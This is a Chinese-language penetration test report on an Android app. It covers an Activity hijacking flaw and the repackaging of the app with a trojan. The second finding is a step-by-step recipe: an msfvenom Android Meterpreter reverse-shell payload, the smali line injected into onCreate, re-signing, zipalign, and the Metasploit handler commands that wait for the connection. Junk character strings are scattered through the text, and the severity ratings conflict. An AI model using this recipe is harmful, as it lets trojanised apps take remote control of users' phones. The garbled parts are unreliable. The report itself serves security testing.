原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

0 I. v* f; l' d2 b5 g* z' U8 R' x 4 Q* f u1 a, W( K0 K- f* j }

+ h- u, s% z- d5 Z1 [" t; n7 Q+ ?

8 \6 t: w; D) h. G% F9 I9 T S8 p) b8 h

6 G) L% o4 d. {# E6 u. _

$ U" C. ^/ h3 \- M 文档编号：               

* N) Y1 X. L3 G3 {+ G- p6 [& G

/ J% G" D. @; m6 T   $ `, o4 {. [! |0 g$ X 7 w& t' e/ \, b4 x2 ^

; k. F$ E) C' _/ ~1 I

& T( D* a0 O. H e* Q  

; C3 [2 T4 V+ l0 Z3 c $ z1 r4 Z+ Y. @ y/ h7 o& A# z

7 t4 b4 I6 y- N2 |   * p! _2 a' f9 [7 N% | 3 ?" ~# \' M a

1 l: A3 M I1 w# y' V4 V: l   ' W Q6 ~# Y" W2 c c! u 9 r1 A8 n1 j4 k

1 M$ V2 y" }6 H$ F4 V- s: I

. q1 K e4 W' @3 W3 X9 {3 A2 d   - d: i, {& f# C$ Z 6 ~. Q3 r5 _7 P: l6 A' E, Y2 N

/ D! [( X+ L9 P" U0 I

2 o& E2 z$ a7 N" k) S 6 q+ l6 \5 f6 J: _; n 某某某APP渗透测试

2 c3 p( |) c- ~$ u # f3 ?1 I: s+ v

2 U' ^& B1 e$ {* i   3 K4 k6 S; ~5 l7 N

5 D) x" {% Q9 ~, V9 Z& {

; y3 h( J6 c; h, w7 q: G ) g+ E( k! p' n! c) }   / _% Q9 F& Q/ m* }! l

+ F3 W, x3 Z9 T; W 6 Q8 ~. W/ b7 U4 ]2 z

2 `9 K1 \# M4 q/ I4 o4 @ " J& g6 _! r" {! R3 ]   9 x# m7 Z& b- f: X1 A

& `/ |1 b2 |( b+ C   ' a0 ^; \: v |' U/ F# [* x

3 g" j3 Y f1 G: F 2 Q' E' \0 P- n9 [. ]& G2 N

技 术 报 告 " v- J/ X: P' Q- B1 B* {

% V4 M: n! {. ]5 N* N' A! g

  6 K; U, a/ p: G& g4 w8 V

8 j5 c/ D4 D4 H6 R4 x+ W; @* |

/ I' D2 C+ n+ D0 b8 S. b ! e. C* C, w! K& ?; h   " T& g1 ?/ ^; g) m0 K/ {: d! {( h7 `

' V7 o# e6 S1 j( ]# ] ! i$ O0 Z6 g4 f7 p5 B1 a

  0 [& C1 E2 G3 G! K + t( D1 S0 X7 l: M4 S- C' [

7 J. T; G! @8 D% N' i" d" p; [   3 X+ l$ T* M8 C5 C! T8 w$ `& ?9 |

, u1 x2 Q5 [: Q [2 e

& c( D* a$ F A2 x9 Y" o   $ T E( U& o9 U& {

- _. k% X7 U _4 a3 F + |' _. N! ~& B) _ z+ B

 

# C5 W G- [0 i' s9 h) A6 t

/ K' @! W( _& U  

3 q! f7 \7 u; n2 S6 E* [; x& [

" A# e, F* ~2 }( x   9 v3 Q! p" |8 A+ s6 T5 H

( q2 h y* j% m: J

  8 W2 C+ G9 D* \8 B! Q/ l; k

/ r4 }" b8 g% x9 |! H9 ` 2 g6 l% M" r% M G' W e- z   ( j' w2 A3 l) N8 X% b

T% a4 g5 Z' W% d6 l* E H

! d2 B0 V% f4 K3 ~( w% Z* ~ : p7 U, C2 B& [- K9 j  

7 O. Y& J3 O! s* y8 H   / N' }) R D$ m5 q& q

8 ^# M1 K4 C7 H$ p

! f7 E) H1 W5 ~$ O3 Q6 s/ v1 X* [   9 a! P- q" Q6 ?6 g; z3 ? : Y# O* r1 a1 L/ ?+ N& q" a! D

/ A$ E2 G: k1 ?8 g

( u u5 R( r4 G9 B. M   ' @( t0 b# i" S8 w9 R: Z0 @

7 Y8 W: u+ C: j- h/ S

  $ `' T2 n0 V- z4 K 2 E- `% m0 f+ o: [/ H3 Z& k0 Y

9 b$ G8 G p! J& O1 J' a2 D. Y1 O$ q1 h

; ]8 B | G' p5 G  

8 C, L( s7 n d: S# U2 z( ]1 F' ` - l/ a2 n" B# i* `$ t' d; Y

2 z. X3 ^+ T. u! X# f% g3 ?$ F / G8 X( U- b! b7 J& Z/ E   1 s& N9 J( u: b5 {- P% _

" n! B0 ~ }- ~; @7 R) a

  - O: d( P [$ U, h9 F! e

" \4 I2 q5 L! e) } 2 z$ Y* x# y7 \8 i& P: L5 ?6 K7 N 二〇二〇年 , L: ?7 F. z* ]* p+ T; k7 q

6 D: y9 `1 R5 C) y8 {: S; j

9 P2 g! I# ~% j, b1 N" W4 G5 j $ R1 ^0 l+ |# s# c+ i1 k

8 p8 d* e+ P$ j8 X8 `

1 l0 X: G. o: F3 c: i& \. H

目 录 " L# ]8 h+ Q! V5 l: f* B [

6 Y8 E5 H/ H+ _+ e3 F6 ^3 a; N5 E# G

* ^: G* C/ w8 ~$ r% T1 M4 P& i: k   $ { I+ R {4 j$ L# d$ r% D

5 K1 N$ |' M2 V/ s$ U, O, @ 4 b$ N' d, V/ V+ R" U+ q/ J 1 概述... 3

; I! [" F" q6 d: K* O $ G5 t' x% d, C5 C2 v

1.2测试时间... 3

( |4 N g0 `, j5 d$ y 1.3测试对象... 3 ) }/ d' O! g. K* ?# [, @- i. Y9 ]

+ d+ K/ K( |# { 1.4测试结果... 3

+ N( U7 A6 n- ^8 V* ^ ( C8 f" |- V. S+ ^( h- G

4 i7 g5 I' u1 k/ x2 R! b3 d& d h 2 检测结果... 4 $ v8 p; v z/ N

" P7 s; b" a7 P' s" O* J$ M

2 l" ~$ f$ @7 n. d0 w, r 2.1 某某某... 4

0 [" A, a5 ^( X \

3 E# w0 p/ t1 O& Q: s! c3 Y 2.1.1检测目标... 4 % i) l) M! o2 Q: k3 @

5 i6 R+ F4 [8 s" V# M2 f+ A 2.1.2检测结果... 4 ) H f& b% C% K5 E

. e5 n, ?$ f* M

, ^+ S% O0 K( G! P/ J | 2.1.2.1. 4 0 k. U* [ E m+ ] $ y3 v* q5 }0 r% i5 J/ @

/ M9 l V6 M) S9 T, g f$ B

/ `* ?: q4 Z" Z/ Y7 a 2.1.2.2. 6

+ c$ {( S9 W- Y1 t0 k1 B

8 X6 B" n4 j* J" t - \" [1 C1 x' R- S2 B, i$ S 9 ~! t+ [7 g2 q# E3 P% r

! n4 S9 a. t$ I Y( d0 T ! _/ L" m! j7 [" ^# \) L& ^ & W/ y* z# m% o) J

1 }. w- q5 r7 e+ Z 1 p# w5 w. k6 Y; t5 n6 @! `, ^ # Z0 r% m0 i! @* g2 U 5 ~- O n& ]" c2 i

" r% o0 [ r' t4 v+ t " H, D: p, S1 j8 Z, U9 s; L1 { 1 概述 # Y( w2 P1 F9 s9 g

5 d t3 J, B& z5 x) B

1.2测试时间

6 c7 L, V. T( x4 m9 u9 Q- ^ , N) n0 V7 a: v; l ; z$ V9 b4 W5 F8 B5 Y5 [. N* L! q) D& u. P2 n6 Q, V5 n$ W! G+ }4 a( n1 ]1 h: d C7 h8 D5 l$ O6 F1 B( \6 I) P5 a# }$ q0 O- D, ~, P, b2 [0 u. @" ]( v8 i+ _' ~ q7 I4 Q- @! \1 e2 y- F& D; h: E9 A- o }5 h+ r+ \+ N0 w! k& u7 |- ?; A8 a, b; c1 V/ ^0 g: V$ c/ \$ s% E1 N: k0 `7 S. k8 g1 m6 ?5 \: d& G7 ~% y# M. e, S* s; N, `5 A, ?, [) T- S8 O/ W7 F0 `' g) X% }$ E/ h0 d4 p7 @ i) x- y0 x( t8 ]. A7 h9 b+ z! a; q! C% p# K7 L, |* x- D; m9 {8 j5 @1 m

8 a- J+ A# I7 d 0 a! C; B& `7 |4 ] / L: r7 \4 y7 w% i* } 渗透测试时间 . _ Z$ @ j) D3 Q5 ~, z 0 U- |4 M* ?! L P; X' r. e( U$ p" M7 q! K$ x - A1 _1 X+ n+ y- b5 K
& t5 E, R2 E @, x! y' y % c( ]% l. o$ N6 g1 J( n: |2 _; a 9 q. N( J2 l5 s3 h/ }. q 起始时间 ( X6 F+ A- v0 ^/ A" o ! B( _% X, ~: p1 ?$ ^( \: m" [	$ S! ]5 s5 z. U' ^ 2020年4月6日 # j; \- z, h! ^+ Y
0 |4 q: u, V- P) {* E 2 e7 L) H+ X6 x4 U2 g7 G& o 结束时间 ! d$ x8 r) g9 ^2 _7 g3 G	9 Y" P: ^6 q7 ~. i % H8 p* _* X& G 2020年4月9日 ( w8 k9 C( U6 v& a. c' G3 R8 t, I * F- W' c' E/ O% w% A9 D: s

3 V* O$ U: M) p

7 \1 m6 `- }7 O" X. Y 1.3测试对象

3 M) S( L9 F; P5 E: | 8 u; i6 ?7 C& t/ I$ P

! ?" Y0 E+ G. {6 { [: Q. [# u # A( G- l+ m; T, h. |- y 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： * Y" y4 m, j5 w- n$ B3 n

* M2 m& O# @- t7 o4 {3 {7 W 2 j8 D7 o+ M$ {) z" a3 _

- \( ~, {7 a9 f 5 {- C: b% q- x" |0 W9 V 表1-1 检测对象

. T' k3 C+ j: Y, k) q1 T- v- n ( P* v4 Z1 P9 L" T. I8 T' b" z8 ?4 V- ^5 C4 H c( }' T$ j4 Z( ?5 f# G# q9 q4 j: A3 t- K: K3 b0 @9 E- W! J d7 S0 a! d& R x" k& r8 R5 a1 ~8 z4 ]; K: b! Q) b, u9 _ k1 ^$ v6 ]" G5 E4 } U/ u" v, q9 }+ W- ~6 d) I. P* u6 S/ \# `- \* U5 j7 s( C( [ { |( x8 v% @; g8 l2 M7 A3 b3 d" g; |+ V" s- g; u9 L: ~, n/ M2 V, q5 w$ X v1 c: |: R; G0 U) p- p' S( Z1 y$ j$ T( e k9 X/ p+ P0 D% Q \* D( Q/ y% e1 F7 L+ j- ~% ?2 ^% }6 m( b/ S q

6 D8 d4 M/ v( q) I0 q : H/ ~; m% B1 S; R* @# e" i/ ` * E- U$ _5 u2 o 序号 9 U; ?3 O- ^) v% l! \. J4 b( [ ' h t) m% S- o6 \' V5 o	m% r( {/ \' h! L/ B " r0 S h( _8 U5 Y* F 2 t' |) h2 c) {' B 测试对象 ! ?5 w; k& L) a, M# [1 j' t0 } * N3 D" T. ^2 T; m7 m	, D4 c* r! `+ G: `/ r& d ; r& [9 y3 _0 q/ @6 h 0 j5 v# C5 |: f 测试地址 ; `. B/ E% |$ v6 a1 P	安全漏洞 + l, ~1 V) A& F4 D! j! q ) h! S2 ^+ ~5 H6 c+ ]% {3 }/ a
5 D: r2 Z) I, k% S# U * j1 I: t% h& i/ W5 @3 e& D0 L( i 1 9 c4 B0 I( T! S2 y	" B# L' I1 v8 o6 o: A & F- a! ~ U# X" n; ? 7 r5 |$ k5 R) c# J* z1 X 某某某安卓APP . d+ @7 d1 g0 r4 |& a- a# `2 r 9 E1 k3 G' `5 a0 H& u	4 L0 A: j7 }/ t. ]% e- Z! z3 R - L$ ]$ z% z) K1 K   9 g4 E, R" a5 O2 b! x5 c 3 o" y- S' t2 y; |, j 2 {' w+ i) D" K) E/ m# q6 [0 l( _2 i. q	8 |' g' Y# R4 k& t 9 |! A3 F- M( h/ E+ F0 B' {2 o1 w : r# w+ w/ @8 v 2 7 A2 I* x! Z' S( [$ s6 H1 o( T 5 }' R7 i: H0 k2 w/ A

2 j) `8 R/ Y& x D2 V. E 3 {. l! {$ V8 f: ]

0 n+ h$ v0 Q/ s' X 1.4测试结果 5 o: W# H8 q, E0 g& b$ |" F9 M

" f& J5 s/ s+ H( T5 i 6 d9 U* S% |1 a$ J8 W9 i

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： V6 s/ ~0 }0 [5 t y

2 h7 b# I- g" p5 t5 R/ v/ x+ K& ^

; |8 m9 M% Q- @* N# s1 R, s2 t, m   ' i5 \- J8 _3 N2 c0 j/ @

) k6 r5 y* f5 {) @; T5 L

" ?1 O8 X& [; d, N8 c6 n& O 4 x2 u( E X) a+ {( t% p% ^+ K, H! W; A% k/ l" J6 ^0 H/ q& Q7 R$ u* o E$ K" ] |# [5 w4 p6 ?8 A5 m0 N2 a. Y" n$ r4 j" C# u$ \. u! l' |" S5 N) r0 ^; F1 ?' m7 N- G) Q' x: U( j, C$ e! L4 Y5 _% y. O1 ~! M- Y. q& E- P2 n. J. l0 M8 m6 L1 x9 q. @6 P) [' A! L. g' m& W4 @4 _) l R# T' Y3 T9 G6 T3 S) r, c4 Z' U" R5 L0 M S- D2 K' g. V5 h' x- C+ y% P O, J z; h' Q- I5 K8 g( P8 X- e$ z9 D+ R1 t/ p% ]! X4 i, Y4 P0 B8 I9 O S5 X6 e% U, l0 v5 F; C- G( w s2 [$ k8 L* t& B" B+ H' F; g3 L! Y1 {: s& ]$ i7 h- h! {8 u' T, q. F# l1 e+ C: `: J# q( M8 l# D2 q4 h) O& z

" `4 g) s" M; M3 a 4 r3 P4 Y% N+ L# F- \' }0 K & d. v7 O# b' Y7 w 序号 1 E/ Q' D6 W" \0 p ; ]* o" T% {9 A! M0 w 9 _( Z0 ^9 \, B0 S' K% {	系统名称 * J: r% E: c. y# I $ a/ G7 t9 b1 [( |	( Z1 f* b) Z6 s1 M6 d+ _! A7 `; i 漏洞名称 9 x% }6 M, b5 g" P/ F+ f0 w	% M+ F4 @* T4 ^, s0 u0 }/ z 漏洞危害 ; X, D% I4 }& @4 ~9 G7 T2 S% j2 ] % ?2 ^" O8 \6 s. A 3 g' G* b* G; q d	" ~7 v3 p: q# N' F 0 c: Q; {! p6 V8 x+ `7 ^' y ; `# _+ C/ d1 U: @ ; u: K4 S) T' x( k 修复结果 ~, e* K% t) b% Z4 d5 F4 W$ b % m+ r9 B/ |# E5 b( R
( E1 n+ f# r1 ~- B - v0 G7 h# C/ L( O, |) s# n 1 & ?) B: r1 ~7 u. X9 { $ N$ b h& V" v, L! G	7 m: l+ e4 M6 W3 P5 O9 H, z; d5 f, U 0 ]4 S8 g" a3 S# l8 f1 J1 P 0 n8 h) e+ b2 | 4 M6 x" T+ X$ e& a7 u J 某某某某某某APP . ^% y4 C) `+ I , ~% }" a6 v1 J" Y9 S	Y6 C' [ a) J% N' j4 s- D5 Q 8 p$ K7 ^6 D7 g; E2 D1 [7 ? $ K3 S/ ^" G0 B+ d L- l Activity 劫持 * v! s+ N2 z# q: A) G$ m W ]2 ^" v! B/ Y: m 8 J) r- ?/ [/ D) J5 k! e) }: j 4 K" Z/ b. x! l7 T   |8 u+ ]6 y+ Q A; y9 Q% G" t/ W ) G5 K% u u7 s * q$ ?" T0 `0 U	1 [9 N M. {* ?) f: u1 E $ L' a r+ I7 I/ t 9 a% I% a! u6 y- w3 S + w3 U. S M0 b 高 , D% J* M" F0 R ! d9 S6 d/ D! M2 G; R	7 I9 I2 o/ g3 O' u
; t1 e c. I" u1 M % m9 b! S4 Z' y" R 2 2 X- v b) i1 R; X/ n 5 H8 B) u/ E! }1 r3 q	* Z! }4 T0 w8 m. \% t1 B, C4 ^. { 某某某某某某APP 1 S& f+ ?" F, f; e& ^ K	反编译二次打包捆绑木马、篡改APP代码 & Q. F# z: Y% D2 x, k ( k9 e3 Y8 @& R8 Z: ^6 S7 L ; X/ l) B8 t" v( @! L! W* q 5 U# ]9 J6 ?& {	" N* @' u5 q0 r3 y! S+ P* ^ 1 I+ {+ A2 z5 ]9 y5 K& r- J & R9 ?9 V4 z* ]" D5 p( i0 h& i 高 ' @ i) B* X, Z9 w. ~ i * D' \: [4 t& q# d ?) B7 V" r6 P . f2 Q0 K- `3 G3 \1 R/ L + k8 v0 O" c0 g5 x! G	9 |1 e8 Z3 V$ K& C/ o/ \" n   3 T/ P9 ~+ m* [4 H# n5 \

) ?% @! Z/ v3 E0 S( K5 I- ~: s1 k

1 p% t8 }9 Z0 Q* T2 z

* i+ V% |& ^, d0 ?( N* N   " L$ h$ d: `( a4 j" Z s) f

! T1 {+ u4 l. m) s$ x 表1-2 测试结果

5 J" R" |* Y8 D' R' M

* o& T7 r* H+ _; h) X2 p. J   ' U( U; ?0 Q* _3 j3 i2 t

. \$ Y% S) s7 r * N: W$ c: s, T7 J% `

" x& j+ p8 @7 E6 c7 w 2 检测结果                    + J. e5 d; m) g" ~$ U+ d

" K3 l3 z" o' T+ W8 O( D

& r* u: C- L& a 2.1 某某某

& M. {0 O, o4 k" l. q# d; {& B

D" J, C1 s" |# m4 c & q1 l. v1 e/ w. S1 ~ 2.1.1检测目标 * Z6 l% j* J+ V2 k) c3 R

) F" d9 y" @0 X% |2 i9 |

目标地址： 某某某某某某APP , Q3 R+ X# K& T' u: `

8 }. ?$ i7 a; O' Z9 z) p- t

2 r+ s i& K* G0 \3 t* y- n7 P4 [ 2.1.2检测结果 5 Y" ^* F$ H- x! T, ^! w7 l. |

: g0 W4 k/ J. \: F- [6 ] 2.1.2.1

; t, R! W( D- e

漏洞链接地址：某某某某某某APP ) h( }6 O* C( \2 F0 k! f* a( c % v' |2 N2 P+ l2 W: L8 O! f. t- g

  8 f2 X% [% M6 j; y 9 ~# ? t& L; E! [

& ~& t/ m3 o; y d! e* G ( r9 @ l9 |. y5 S) e' R

漏洞分析及取证： 7 Y' F. O0 h5 W. q7 o4 n

+ m$ t( E5 P( w5 S1 n2 k- h

4 G2 P9 @1 I! ^ % q- R& w c; ~& e; `* c& K7 }                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： : s8 O2 U+ d/ c% f8 o. X" L

* }& W0 D' u) s/ R& T+ e9 O. B      , E9 Z: x1 h: y7 a; i) [3 X6 ] " y& k8 @- k5 j% D, C, T- @

, n- w4 F" E: d; ~                      

3 o+ Y0 H- P2 f* N8 Z3 H* f

6 N( v* T0 T' h5 ^8 Y+ B

) ]1 `! d: P( G- E0 C 5 F& a" T2 ^" H7 @! K6 |7 y $ w1 B0 _8 ?4 S " e! ^: p1 \+ t+ B9 ]( M

T9 j$ @) ^ s/ t % D! e6 z6 o* j# ^0 [

漏洞危害：高

$ m" e* T+ n9 Y0 n- O* X

/ E& \$ `- A% \1 t 7 J8 a! M7 l* t1 ]; S 4 ?. ^- U N* ~: Q1 \/ J1 \$ o; h( O; Q! K, y! d3 }: n* R- R; |' U, K* W1 ^, t, Y6 l* W ~5 C( S" J" O' N9 C k; S! j) @) p( X: P3 P& E! c1 U6 l% _$ h, k! E- \' m- U/ j9 H' w! P0 N% r* R1 M$ A- B! C& F4 t1 P/ K j6 V6 ? I. W# b. Q# V7 g/ C8 v( X, c0 p2 J9 k1 }3 P5 P7 A5 T& a" U: i+ v% Z$ ~: o- T9 P; Q) g" N( o; g2 \1 F1 \' x6 Y. r. |' z- M( D

, x8 r& @( y4 t . k3 f2 f0 y( j" l& Z' m 严重程度 7 k) a2 ~9 K$ y9 ?3 t , {0 l! [4 K5 b% c1 r0 }, P	7 H9 ^7 `" C0 t" J + n7 r* h- d# T/ T 高	; D+ U' B3 X9 H" e2 @/ Q 1 o' u. {9 y% B/ y: r: r" F ■ - p1 n( J2 ]& y3 e l* O" b ; b4 n! m! w( u9 Z1 L' _( S, F / A0 @; p/ W/ E! G/ t0 t	; ~( \. ^/ s# R& E4 j % X+ c7 J2 l) }1 _ 中 $ N& F" | C ^$ g- P - x6 H8 C4 h6 }' [# f E5 ?4 a	7 g+ E0 L3 b9 s s3 x$ ~   + O8 ~0 n* C" ?1 |" Z- b7 O l ; I7 |2 q6 A5 f7 e. a' V	& H9 k3 A/ \- `! y3 d 2 T8 {9 {/ j$ u) c" x+ i/ O - p* r, V/ u, K3 D. D" p: n( ^ y 低 * {; F6 _, G- b 4 g7 ~+ h: s5 E% |$ i: t5 |: q! m	2 j; J# M" i# v   3 Y' b- ?. o- ]" p8 b* P

1 m7 Q. k1 ?+ B! ~$ b% D/ t / [- v/ r$ T! ?( f! `1 O/ E

; W6 H' |; t/ o, f2 H( q8 x4 m

' `! z& c% T" G. b   : S: O7 R, ]3 E$ k9 w, x9 ?

: A: ?# g6 a" e" d6 l+ A5 S , W% [+ Q+ a, `& N- c

; O# ~0 y- u1 M; l+ M 9 A z, k! A- s6 }) e3 M 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 1 a6 x$ q5 k6 G3 I. j# @; G" V. r5 _

, J; A5 @+ Q& r& ^

          " P# p: q* V6 O . r Z0 W1 z1 G- O. C% U; W0 J' h. Q) Y

$ i' u$ ~. _2 O 4 m4 C/ I1 e" j6 P3 b6 O7 b

2 ~" e/ ?. _& j' J # q- P1 |: f8 `# K   . f) H3 j* }6 J8 T" A: a' T

0 J$ g0 t+ c0 g5 }( E6 C% c$ k + p: @* q+ W x7 h( w6 V

3 ]6 y4 x+ ]5 v4 S4 d6 o$ q% E 2.1.2.2

* l" u; n: ?; }2 V2 k9 z- X ! R' @2 p; _; }

6 w" [/ g3 Q- K0 e. q- I5 e4 I( U 4 Q& n7 t- _+ o8 X# I. I 漏洞链接地址：某某某某某某APP " I- q: ^. F' L- m9 ?- F( K+ [( s( F

6 w" h7 Y% q( ]6 U; b, i; ]

( ]1 w1 f+ @5 B3 M7 C. X 漏洞分析及取证： ) v/ G8 r3 ^. C5 j6 {+ {

0 ?6 E) V. |; G$ q# P0 J+ n

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： * q$ z& u1 F$ X% A

2 G, [/ Q- x) T # r* [7 F/ |2 o- D9 J+ U

: V* v% g* J% U1 q' p 用Metasploit 生成木马 apk 4 n7 J5 B6 t/ g8 @

! }! \$ v9 q8 N" i

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 1 b. c. E5 U/ j) f/ I4 p# K; H

& c& d$ _. a6 D, a! O

反编译目标apk和木马apk ) | R3 ]# D2 Y! R2 j" U; {

7 t, x/ D' K6 h7 M' M% B) v

/ z4 |- {8 K! q1 P apktool d target.apk
9 E# i- |' m# _3 g9 A/ M apktool d cockhorse.apk 0 e2 N3 p0 q+ V7 _4 W+ X 0 ~( o* T3 d3 b; @! z D# q1 H

! F/ @2 u: N6 A; G' h

# T$ t8 |6 `6 |! w- _8 G4 r ) M$ k3 T* W' S 木马 apk 注入目标 apk 1 K3 Y- x8 |5 S8 A' v& \2 R7 J

! J( q6 K+ S- K% l) D" Q6 K- M

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ) c) ? x! l1 X; m; y* H* x 3 l9 ]1 p& I8 l i) R' h4 X

! W4 T% u. w. e8 {7 z) Z

8 N+ `# W/ F; \0 Y 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

3 T# P( j7 e. n* D" R

9 x& o) Y2 i* W h: Y+ j2 Q" | % v- E d7 b( t9 M: F 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

+ E' ~6 V9 O6 U; W 回编译生成最终 apk 9 O$ y0 E( Q7 X 0 v+ z2 x2 N; ~& K9 D! a

! @! G* j! r8 d9 U& n- V ) k8 O' y% E' f4 `: {

: s+ S( m" R' t7 F 重新打包 9 G4 ~; A/ H1 r$ F ! k* J% q9 j& N4 p

5 L0 \5 _' G, l5 m, P. R, V& d% F " _3 X, u' p. Q: s# z- ^

* Y# }$ R4 S( w% f apktool b -o repackage.apk target_app_floder 4 V% ]5 W' ^0 \* {" f' | e$ b ?/ d1 ~

3 d% @2 A% V, {. I8 I: x! o. ^% p 创建签名文件，有的话可忽略此步骤 ; \" D& Z2 g" J+ V- W

8 M t- h# j% o) h' ~. P

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                , _3 f. i$ {! B9 x

# C1 y2 s) i' [9 V3 {

4 F( E# }5 Q+ p% L$ U( H 签名，以下任选其一 / Q2 M2 F: y! Z8 q9 w4 ~ * k. V! r$ `8 y1 R. e( b# l

- |0 [" u: |4 F' [3 p' e

jarsigner 方式 & Z3 _% M2 g/ J3 m6 E" E, T; z

* }; u1 \: ^. P jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname % z8 a1 \: P% P, K+ P" m $ @: b A4 K7 Y9 x. N. I- D

apksigner 方式 G5 @9 T- c# }

' k3 @ v) W! @5 m+ ]) e4 g: j9 \

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk - D) ?/ \/ G6 B

如需要禁用 v2签名 添加选项--v2-signing-enabled false

* g3 K* E" ?8 ?9 C# T

5 T& B% J0 {' ?- E2 c$ C " d5 `1 ]* m) W3 _5 w' F! ] 验证，以下任选其一 8 ?$ r+ b! j) c, e3 d

& W1 Q' K- j/ n* a

jarsigner方式

; i5 o4 D3 r7 I* m! g ! _- N- Y( o6 y* r5 C+ |* Y( H

' f- D% _3 |6 u+ y6 k/ J jarsigner -verify repackaged.apk 3 j2 p% e+ [# W 8 T/ h$ B# g9 V4 a; V' S( U7 \

6 k# `* L4 u' p9 O

; E& `' ~; [3 S. W" Z apksigner 方式 ; {5 m2 w9 O/ s# |2 i

+ R9 _1 R+ G: ^# ~: q. } x

* E8 R h7 M/ u- h apksigner verify -v --print-certs repackaged.apk 8 n2 r$ S ?7 `* w+ g! e

+ M5 {3 w. V, J- q2 D " b. q5 Z }- C. v1 p8 A

keytool方式 7 V% G% J! ^4 ?3 D5 i2 w . w5 X6 @6 K* j8 h% E! d4 z

% C: D9 ]: d" p$ k' w

keytool -printcert -jarfile repackaged.apk . v% ~( p# u7 \# {

* l, s7 ~- L( C3 U 5 G7 T. a# x) o- Y1 {' K

4 o9 G/ M, y; V% t. [( `4 K1 l 6 f) H! X: \! H# Y- p" \) q( E 对齐

字节对齐优化 4 Z& o/ x0 o9 A! O( E; _ 8 R# s8 }3 t* u

. Q( p% H/ p( Z' N7 \

6 U o( J1 S: F0 o# j6 a5 \ # s9 Z( U# [, n% q: l" k* U; ] n zipalign -v 4 repackaged.apk final.apk

6 z9 H6 s. w! t$ l7 A( J7 Z

检查是否对齐 $ E! v5 B% M+ N& Z" K

" ?, V) ^: X) F* J; e( S+ d4 v

# m! z, F6 J% g, J4 @+ l 9 |% t4 m! M8 | zipalign -c -v 4 final.apk , g6 V8 p/ M* p7 T1 s

' `) `( j. M+ \

7 k0 }: q5 y$ o) s1 T5 d# P# _ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ! v2 K; U- Y* k; o7 C

8 Q3 i2 P0 S, t+ u1 y

& k4 a) D. j o9 f- q( O/ H" ` E# t1 U 启动Metasploit控制台，配置参数等待上线 ( k+ Z* _3 x( t9 Y! T$ V# r

. E9 }. v- {& m3 e$ m+ [1 D % ]9 X5 p5 k5 o- \1 @3 ~

/ Q# i9 \# Z; _% W1 X 在终端依次输入如下命令 . R9 d( k5 ~! Z0 f O' S/ k' E' g5 m) H) C

5 x) H& B: c- m' F1 _4 W* Q

( L6 [8 ~' J, \9 k A3 ^" J" B ) x6 e; i' |: F: ^5 A Y msfconsole

" x& r# u' @+ P, X* a! j4 s& P % ]4 M$ C) C7 K& g; W+ q

5 t. U" |1 w; ?, h& e5 _/ I' { use exploit/multi/handler & [# b6 y/ x# {

7 t" g9 u# w8 c5 W% d- @

set PAYLOAD android/meterpreter/reverse_tcp / e* ^, H, I, j/ D H0 O8 N, U

7 L+ Z3 q4 p, o) M: n 8 T$ K, w+ l3 Y0 a+ _9 D

/ i6 @! l- M+ { ^" a, b set LHOST 192.xxx.xx.xx * @6 S6 n3 |% U& S# U - c' f* x3 ?- V0 m+ r

1 m k$ G5 `6 Y( _# B% e, g ) N+ ^% i1 ?- J6 j! W& z: T+ a! v

/ r( ~6 I/ H, m! I set LPORT 4444 + C+ ?4 I/ k5 k0 w7 N 0 `8 E; y$ G D& I+ T

3 H2 {1 i+ x, J' H+ w) l, C; G

exploit

. a/ k7 Z8 n8 P2 U3 E5 c3 l

: f4 r+ g, d+ m% h6 o6 N0 l* ] 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               9 [- \6 F' x1 ~% n + K8 L6 w" ~( O3 j$ F, l) f

$ Z$ i$ b( y. Z2 j* G9 p4 s

漏洞危害：中 . X" N, j7 w5 ?( X: G5 [

2 j, u! u; C5 v* B1 C/ ?9 Z/ ?

. V% C) N2 Q5 D6 F$ _; ~ 6 L/ U3 x' E: E* p' C$ [ - k" w# I3 ?6 `) n( F7 ^: y1 X ; h/ Q s1 @2 I$ Y- t0 s5 q; p5 o; F# J: J l* ]6 s$ s: V1 {; W7 {, |8 T7 x: @! X# [3 K. I R: G0 r5 v) M- t* P# G; n* }8 S" q1 d' O% q8 E P* Z) B5 Q# W1 {) b8 p R: T" z! r2 w) g) H! q' n0 Q$ q- O. A7 M3 A5 I: z% N$ g# }- M) i" s7 H; _

